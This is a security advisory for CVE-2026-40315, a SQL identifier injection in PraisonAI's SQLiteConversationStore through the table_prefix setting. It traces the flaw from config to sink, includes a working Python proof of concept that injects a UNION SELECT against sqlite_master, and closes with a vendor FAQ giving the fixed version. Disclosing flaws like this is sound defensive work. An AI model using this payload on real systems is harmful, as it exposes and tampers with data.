CVE-2026-40315

The table_prefix configuration value is directly used to construct SQL table identifiers without validation.

If an attacker controls this value, they can manipulate SQL query structure, leading to unauthorized data access (e.g., reading internal SQLite tables such as sqlite_master) and tampering with query results.

Details

This allows attackers to inject arbitrary SQL fragments into table identifiers, effectively altering query execution.

This occurs because table_prefix is passed from configuration (from_yaml / from_dict) into SQLiteConversationStore and directly concatenated into SQL queries via f-strings:

sessions_table = f"{table_prefix}sessions"

This value is then used in queries such as:

SELECT * FROM {self.sessions_table}

Since SQL identifiers cannot be safely parameterized and are not validated, attacker-controlled input can modify SQL query structure.

The vulnerability originates from configuration input and propagates through the following flow:

• Source: config.py
  (from_yaml / from_dict) accepts external configuration input

• Propagation: factory.py
  (create_stores_from_config) passes conversation_options without validation

• Sink: sqlite.py
  Constructs SQL queries using f-strings with identifiers derived from table_prefix

As a result, attacker-controlled table_prefix is interpreted as part of the SQL query, enabling injection into table identifiers and altering query semantics.

PoC

1. Exploit Code

The PoC demonstrates that attacker-controlled table_prefix is not treated as a simple prefix but as part of the SQL query, allowing full manipulation of query structure.

#!/usr/bin/env python3
"""
PoC: SQL identifier injection via SQLiteConversationStore.table_prefix

This demonstrates query-structure manipulation when table_prefix is attacker-controlled.
"""

import os
import tempfile

from praisonai.persistence.conversation.sqlite import SQLiteConversationStore
from praisonai.persistence.conversation.base import ConversationSession


def run_poc() -> int:
    fd, db_path = tempfile.mkstemp(suffix=".db")
    os.close(fd)

    try:
        print(f"[+] temp db: {db_path}")

        # 1) Create normal schema and insert one legitimate session.
        normal = SQLiteConversationStore(
            path=db_path,
            table_prefix="praison_",
            auto_create_tables=True,
        )
        normal.create_session(
            ConversationSession(
                session_id="legit-session",
                user_id="user1",
                agent_id="agent1",
                name="Legit Session",
                state={},
                metadata={},
                created_at=123.0,
                updated_at=123.0,
            )
        )

        normal_rows = normal.list_sessions(limit=10, offset=0)
        print(f"[+] normal.list_sessions() count: {len(normal_rows)}")
        print(f"[+] normal first session_id: {normal_rows[0].session_id if normal_rows else None}")

        # 2) Malicious prefix (UNION-based query structure manipulation)
        injected_prefix = (
            "praison_sessions WHERE 1=0 "
            "UNION SELECT "
            "name as session_id, "
            "NULL as user_id, "
            "NULL as agent_id, "
            "NULL as name, "
            "NULL as state, "
            "NULL as metadata, "
            "0 as created_at, "
            "0 as updated_at "
            "FROM sqlite_master -- "
        )

        injected = SQLiteConversationStore(
            path=db_path,
            table_prefix=injected_prefix,
            auto_create_tables=False,
        )

        injected_rows = injected.list_sessions(limit=10, offset=0)
        injected_ids = [row.session_id for row in injected_rows]

        print(f"[+] injected.list_sessions() count: {len(injected_rows)}")
        print(f"[+] injected session_ids (first 10): {injected_ids[:10]}")

        suspicious = any(
            x in injected_ids
            for x in ("sqlite_schema", "sqlite_master", "praison_sessions", "praison_messages")
        )

        if suspicious or len(injected_rows) > len(normal_rows):
            print("[!] PoC succeeded: list_sessions query semantics altered by table_prefix")
            return 0

        print("[!] PoC inconclusive: no clear injected rows observed")
        return 2

    finally:
        try:
            os.remove(db_path)
            print("[+] temp db removed")
        except OSError:
            pass


if __name__ == "__main__":
    raise SystemExit(run_poc())

2. Expected Output

The output shows that legitimate data is no longer returned; instead, attacker-controlled results are injected, demonstrating that query semantics have been altered.

3. Impact

• SQL Identifier Injection
• Query result manipulation
• Internal schema disclosure

Exploitable when untrusted input can influence configuration.

Reference

• https://github.com/advisories/GHSA-59g6-v3vg-f7wc

Untrusted input alters a database query, allowing the attacker to read or modify data the query was not intended to access. Typical impact: data disclosure or modification.

Kodem intelligence

1. What is CVE-2026-40315? CVE-2026-40315 is a medium-severity SQL injection vulnerability in PraisonAI (pip), affecting versions < 4.5.133. It is fixed in 4.5.133. Untrusted input alters a database query, allowing the attacker to read or modify data the query was not intended to access.
2. Which versions of PraisonAI are affected by CVE-2026-40315? PraisonAI (pip) versions < 4.5.133 is affected.
3. Is there a fix for CVE-2026-40315? Yes. CVE-2026-40315 is fixed in 4.5.133. Upgrade to this version or later.
4. Is CVE-2026-40315 exploitable, and should I be worried? Whether CVE-2026-40315 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether CVE-2026-40315 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix CVE-2026-40315? Upgrade PraisonAI to 4.5.133 or later.

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